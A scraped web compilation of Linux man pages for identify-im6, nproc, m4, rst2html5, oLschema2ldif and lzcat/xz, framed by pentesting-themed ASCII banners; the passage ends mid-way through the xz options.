░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

63 - Linux cli command identify-im6

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command identify-im6 and provides detailed information about the command identify-im6, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the identify-im6.

NAME 🖥️ identify-im6 🖥️

describes the format and characteristics of one or more image files.

SYNOPSIS

identify-im6.q16 [options] input-file

OVERVIEW

The identify-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. It describes the format and characteristics of one or more image files. It also reports if an image is incomplete or corrupt. The information returned includes the image number, the file name, the width and height of the image, whether the image is colormapped or not, the number of colors in the image (by default off use -define unique=true option), the number of bytes in the image, the format of the image (JPEG, PNM, etc.), and finally the number of seconds it took to read and process the image. Many more attributes are available with the verbose option.

For more information about the identify command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/identify.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/identify.php.

DESCRIPTION

Image Settings: -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -antialias remove pixel-aliasing -authenticate value decrypt image with this password -channel type apply option to select image channels -clip clip along the first path from the 8BIM profile -clip-mask filename associate a clip mask with the image -clip-path id clip along a named path from the 8BIM profile -colorspace type alternate image colorspace -crop geometry cut out a rectangular region of the image -define format:option define one or more image format options -define unique=true return the number of unique colors in the image -density geometry horizontal and vertical density of the image -depth value image depth -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -features distance analyze image features (e.g. contrast, correlation) -format “string” output formatted image characteristics -fuzz distance colors within this distance are considered equal -gamma value of gamma correction -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -limit type value pixel cache resource limit -list type Color, Configure, Delegate, Format, Magic, Module, Resource, or Type -mask filename associate a mask with the image -matte store matte channel if the image has one -moments report image moments -monitor monitor progress -ping efficiently determine image attributes -precision value maximum number of significant digits to print -quiet suppress all warning messages -regard-warnings pay attention to warning messages -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -size geometry width and height of image -strip strip image of all profiles and comments -unique display the number of unique colors in the image -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method

Image Operators: -auto-orient automatically orient image -grayscale method convert image to grayscale -negate replace each pixel with its complementary color

Miscellaneous Options: -debug events display copious debugging information -help print program options -list type print a list of supported option arguments -log format format of debugging information -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

NOTE

Although some options appear to modify the file to be identified, the identify command is strictly read only. For instance, the crop option crops the in-memory image and then describes the result.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

64 - Linux cli command nproc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nproc and provides detailed information about the command nproc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nproc.

NAME 🖥️ nproc 🖥️

print the number of processing units available

SYNOPSIS

nproc [OPTION]…

DESCRIPTION

Print the number of processing units available to the current process, which may be less than the number of online processors

–all
print the number of installed processors

–ignore=N
if possible, exclude N processing units

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Giuseppe Scrivano.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/nproc>
or available locally via: info ‘(coreutils) nproc invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

65 - Linux cli command m4

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command m4 and provides detailed information about the command m4, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the m4.

NAME 🖥️ m4 🖥️

macro processor

SYNOPSIS

m4 [OPTION]… [FILE]…

DESCRIPTION

Process macros in FILEs. If no FILE or if FILE is `-’, standard input is read.

Mandatory or optional arguments to long options are mandatory or optional for short options too.

Operation modes:

–help
display this help and exit

–version
output version information and exit

-E, –fatal-warnings
once: warnings become errors, twice: stop execution at first error

-i, –interactive
unbuffer output, ignore interrupts

-P, –prefix-builtins
force a `m4_’ prefix to all builtins

-Q, –quiet, –silent
suppress some warnings for builtins

–warn-macro-sequence[=REGEXP]
warn if macro definition matches REGEXP,

default \{[^}]*}\[0-9][0-9]+\

-W, –word-regexp=REGEXP
use REGEXP for macro name syntax

Preprocessor features:

-D, –define=NAME[=VALUE]
define NAME as having VALUE, or empty

-I, –include=DIRECTORY
append DIRECTORY to include path

-s, –synclines
generate `#line NUM “FILE”’ lines

-U, –undefine=NAME
undefine NAME

Limits control:

-g, –gnu
override -G to re-enable GNU extensions

-G, –traditional
suppress all GNU extensions

-H, –hashsize=PRIME
set symbol lookup hash table size [509]

-L, –nesting-limit=NUMBER
change nesting limit, 0 for unlimited [0]

Frozen state files:

-F, –freeze-state=FILE
produce a frozen state on FILE at end

-R, –reload-state=FILE
reload a frozen state from FILE at start

Debugging:

-d, –debug[=FLAGS]
set debug level (no FLAGS implies `aeq')

–debugfile[=FILE]
redirect debug and trace output to FILE (default stderr, discard if empty string)

-l, –arglength=NUM
restrict macro tracing size

-t, –trace=NAME
trace NAME when it is defined

FLAGS is any of:

a
show actual arguments

c
show before collect, after collect and after call

e
show expansion

f
say current input file name

i
show changes in input files

l
say current input line number

p
show results of path searches

q
quote values as necessary, with a or e flag

t
trace for all macro calls, not only traceon’ed

x
add a unique macro call id, useful with c flag

V
shorthand for all of the above flags

If defined, the environment variable `M4PATH’ is a colon-separated list of directories included after any specified by `-I'.

Exit status is 0 for success, 1 for failure, 63 for frozen file version mismatch, or whatever value was passed to the m4exit macro.

AUTHOR

Written by Rene’ Seindal.

REPORTING BUGS

Report bugs to: [email protected]
GNU M4 home page: <https://www.gnu.org/software/m4/>
General help using GNU software: <https://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The full documentation for m4 is maintained as a Texinfo manual. If the info and m4 programs are properly installed at your site, the command

info m4

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

66 - Linux cli command rst2html5

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2html5 and provides detailed information about the command rst2html5, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2html5.

NAME 🖥️ rst2html5 🖥️

convert reST documents to HTML 5

SYNOPSIS

rst2html5 [options] [<source> [<destination>]]

DESCRIPTION

Generate HTML5 documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/html.html#html5-polyglot> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

HTML Writer Options

–template=*****<file>*
Template file. (UTF-8 encoded, default: “/usr/share/do cutils/writers/html5_polyglot/template.txt”)

–stylesheet=*****<URL[,URL,…]>*
Comma separated list of stylesheet URLs. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of stylesheet paths. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link-stylesheet, the path is rewritten relative to the output HTML file. (default: “minimal.css,plain.css”)

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. (default: “.,/usr/share/docutils/writers/html5_polyglot”)

–embed-stylesheet
Embed the stylesheet(s) in the output HTML file. The stylesheet files must be accessible during processing. (default)

–link-stylesheet
Link to the stylesheet(s) in the output HTML file.

–initial-header-level=*****<level>*
Specify the initial header level. Does not affect document title & subtitle (see –no-doc-title). (default: 2 for “<h2>”)

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. (default: “brackets”)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. (default: “dash”)

–compact-lists
Remove extra vertical whitespace between items of “simple” bullet lists and enumerated lists. (default)

–no-compact-lists
Disable compact simple bullet and enumerated lists.

–compact-field-lists
Remove extra vertical whitespace between items of simple field lists. (default)

–no-compact-field-lists
Disable compact simple field lists.

–table-style=****TABLE_STYLE
Added to standard table classes. Defined styles: borderless, booktabs, align-left, align-center, align- right, colwidths-auto, colwidths-grid.

–math-output=****MATH_OUTPUT
Math output format (one of “MathML”, “HTML”, “MathJax”, or “LaTeX”) and option(s). (default: “HTML math.css”)

–xml-declaration
Prepend an XML declaration.

–no-xml-declaration
Omit the XML declaration (default).

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters while still keeping email links usable with standards- compliant browsers.

HTML5 Writer Options

–image-loading=****IMAGE_LOADING
Suggest at which point images should be loaded: “embed”, “link” (default), or “lazy”.

–section-self-link
Append a self-link to section headings.

–no-section-self-link
Do not append a self-link to section headings. (default)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

67 - Linux cli command oLschema2ldif

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command oLschema2ldif and provides detailed information about the command oLschema2ldif, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the oLschema2ldif.

NAME 🖥️ oLschema2ldif 🖥️

Converts LDAP schemas to LDB-compatible LDIF

SYNOPSIS

oLschema2ldif [-I INPUT-FILE] [-O OUTPUT-FILE]

DESCRIPTION

oLschema2ldif is a simple tool that converts standard OpenLDAP schema files to a LDIF format that is understood by LDB.

OPTIONS

-I input-file

OpenLDAP schema to read. If none are specified, the schema file will be read from standard input.

-O output-file

File to write ldif version of schema to.

VERSION

This man page is correct for version 4.0 of the Samba suite.

SEE ALSO

ldb(7), ldbmodify, ldbdel, ldif(5)

AUTHOR

ldb was written by Andrew Tridgell[1]. oLschema2ldif was written by Simo Sorce[2].

If you wish to report a problem or make a suggestion then please see the http://ldb.samba.org/ web site for current contact and maintainer information.

NOTES

Andrew Tridgell

https://www.samba.org/~tridge/

Simo Sorce

mailto:[email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

68 - Linux cli command lzcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzcat and provides detailed information about the command lzcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzcat.

NAME 🖥️ lzcat 🖥️

Compress or decompress .xz and .lzma files

SYNOPSIS

xz [option…] [file…]

COMMAND ALIASES

unxz is equivalent to xz –decompress.
xzcat is equivalent to xz –decompress –stdout.
lzma is equivalent to xz –format=lzma.
unlzma is equivalent to xz –format=lzma –decompress.
lzcat is equivalent to xz –format=lzma –decompress –stdout.

When writing scripts that need to decompress files, it is recommended to always use the name xz with appropriate arguments (xz -d or xz -dc) instead of the names unxz and xzcat.

DESCRIPTION

xz is a general-purpose data compression tool with command line syntax similar to gzip(1) and bzip2(1). The native file format is the .xz format, but the legacy .lzma format used by LZMA Utils and raw compressed streams with no container format headers are also supported. In addition, decompression of the .lz format used by lzip is supported.

xz compresses or decompresses each file according to the selected operation mode. If no files are given or file is -, xz reads from standard input and writes the processed data to standard output. xz will refuse (display an error and skip the file) to write compressed data to standard output if it is a terminal. Similarly, xz will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout is specified, files other than - are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix of the target file format (.xz or .lzma) is appended to the source filename to get the target filename.

  • When decompressing, the .xz, .lzma, or .lz suffix is removed from the filename to get the target filename. xz also recognizes the suffixes .txz and .tlz, and replaces them with the .tar suffix.

If the target file already exists, an error is displayed and the file is skipped.

Unless writing to standard output, xz will display a warning and skip the file if any of the following applies:

  • File is not a regular file. Symbolic links are not followed, and thus they are not considered to be regular files.

  • File has more than one hard link.

  • File has setuid, setgid, or sticky bit set.

  • The operation mode is set to compress and the file already has a suffix of the target file format (.xz or .txz when compressing to the .xz format, and .lzma or .tlz when compressing to the .lzma format).

  • The operation mode is set to decompress and the file doesn’t have a suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, or .lz).

After successfully compressing or decompressing the file, xz copies the owner, group, permissions, access time, and modification time from the source file to the target file. If copying the group fails, the permissions are modified so that the target file doesn’t become accessible to users who didn’t have permission to access the source file. xz doesn’t support copying other metadata like access control lists or extended attributes yet.

Once the target file has been successfully closed, the source file is removed unless –keep was specified. The source file is never removed if the output is written to standard output or if an error occurs.

Sending SIGINFO or SIGUSR1 to the xz process makes it print progress information to standard error. This has only limited use since when standard error is a terminal, using –verbose will display an automatically updating progress indicator.

Memory usage

The memory usage of xz varies from a few hundred kilobytes to several gigabytes depending on the compression settings. The settings used when compressing a file determine the memory requirements of the decompressor. Typically the decompressor needs 5 % to 20 % of the amount of memory that the compressor needed when creating the file. For example, decompressing a file created with xz -9 currently requires 65 MiB of memory. Still, it is possible to have .xz files that require several gigabytes of memory to decompress.

Especially users of older systems may find the possibility of very large memory usage annoying. To prevent uncomfortable surprises, xz has a built-in memory usage limiter, which is disabled by default. While some operating systems provide ways to limit the memory usage of processes, relying on it wasn’t deemed to be flexible enough (for example, using ulimit(1) to limit virtual memory tends to cripple mmap(2)).

The memory usage limiter can be enabled with the command line option **–memlimit=**limit. Often it is more convenient to enable the limiter by default by setting the environment variable XZ_DEFAULTS, for example, XZ_DEFAULTS=–memlimit=150MiB. It is possible to set the limits separately for compression and decompression by using **–memlimit-compress=**limit and **–memlimit-decompress=**limit. Using these two options outside XZ_DEFAULTS is rarely useful because a single run of xz cannot do both compression and decompression and **–memlimit=**limit (or -M limit) is shorter to type on the command line.

If the specified memory usage limit is exceeded when decompressing, xz will display an error and decompressing the file will fail. If the limit is exceeded when compressing, xz will try to scale the settings down so that the limit is no longer exceeded (except when using –format=raw or –no-adjust). This way the operation won’t fail unless the limit is very small. The scaling of the settings is done in steps that don’t match the compression level presets, for example, if the limit is only slightly less than the amount required for xz -9, the settings will be scaled down only a little, not all the way down to xz -8.

Concatenation and padding with .xz files

It is possible to concatenate .xz files as is. xz will decompress such files as if they were a single .xz file.

It is possible to insert padding between the concatenated parts or after the last part. The padding must consist of null bytes and the size of the padding must be a multiple of four bytes. This can be useful, for example, if the .xz file is stored on a medium that measures file sizes in 512-byte blocks.

Concatenation and padding are not allowed with .lzma files or raw streams.

OPTIONS

Integer suffixes and special values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are accepted as synonyms for MiB.

GiB
Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB are accepted as synonyms for GiB.

The special value max can be used to indicate the maximum integer value supported by the option.

Operation mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unxz implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout except that the decompressed data is discarded instead of being written to standard output. No files are created or removed.

-l, –list
Print information about compressed files. No uncompressed output is produced, and no files are created or removed. In list mode, the program cannot read the compressed data from standard input or from other unseekable sources.

The default listing shows basic information about files, one file per line. To get more detailed information, use also the –verbose option. For even more information, use –verbose twice, but note that this may be slow, because getting all the extra information requires many seeks. The width of verbose output exceeds 80 characters, so piping the output to, for example, less -S may be convenient if the terminal isn’t wide enough.

The exact output may vary between xz versions and different locales. For machine-readable output, –robot –list should be used.

Operation modifiers

-k, –keep
Don’t delete the input files.

Since xz 5.2.6, this option also makes xz compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file. In earlier versions this was only done with –force.

-f, –force
This option has several effects:

  • If the target file already exists, delete it before compressing or decompressing.

  • Compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file.

  • When used with –decompress –stdout and xz cannot recognize the type of the source file, copy the source file as is to standard output. This allows xzcat –force to be used like cat(1) for files that have not been compressed with xz. Note that in future, xz might support new compressed file formats, which may make xz decompress more types of files instead of copying them as is to standard output. **–format=**format can be used to restrict xz to decompress only a single file format.

-c, –stdout, –to-stdout
Write the compressed or decompressed data to standard output instead of a file. This implies –keep.

–single-stream
Decompress only the first .xz stream, and silently ignore possible remaining input data following the stream. Normally such trailing garbage makes xz display an error.

xz never decompresses more than one stream from .lzma files or raw streams, but this option still makes xz ignore the possible trailing data after the .lzma file or raw stream.

This option has no effect if the operation mode is not –decompress or –test.

–no-sparse
Disable creation of sparse files. By default, if decompressing into a regular file, xz tries to make the file sparse if the decompressed data contains long sequences of binary zeros. It also works when writing to standard output as long as standard output is connected to a regular file and certain additional conditions are met to make it safe. Creating sparse files may save disk space and speed up the decompression by reducing the amount of disk I/O.

-S .suf, –suffix=.suf
When compressing, use .suf as the suffix for the target file instead of .xz or .lzma. If not writing to standard output and the source file already has the suffix .suf, a warning is displayed and the file is skipped.

When decompressing, recognize files with the suffix .suf in addition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. If the source file has the suffix .suf, the suffix is removed to get the target filename.

When compressing or decompressing raw streams (–format=raw), the suffix must always be specified unless writing to standard output, because there is no default suffix for raw streams.

–files[=file]
Read the filenames to process from file; if file is omitted, filenames are read from standard input. Filenames must be terminated with the newline character. A dash (
-
) is taken as a regular filename; it doesn’t mean standard input. If filenames are given also as command line arguments, they are processed before the filenames read from file.

–files0[**=file]
This is identical to –files[
=**file] except that each filename must be terminated with the null character.

Basic file format and compression options

-F format, **–format=**format
Specify the file format to compress or decompress:

auto
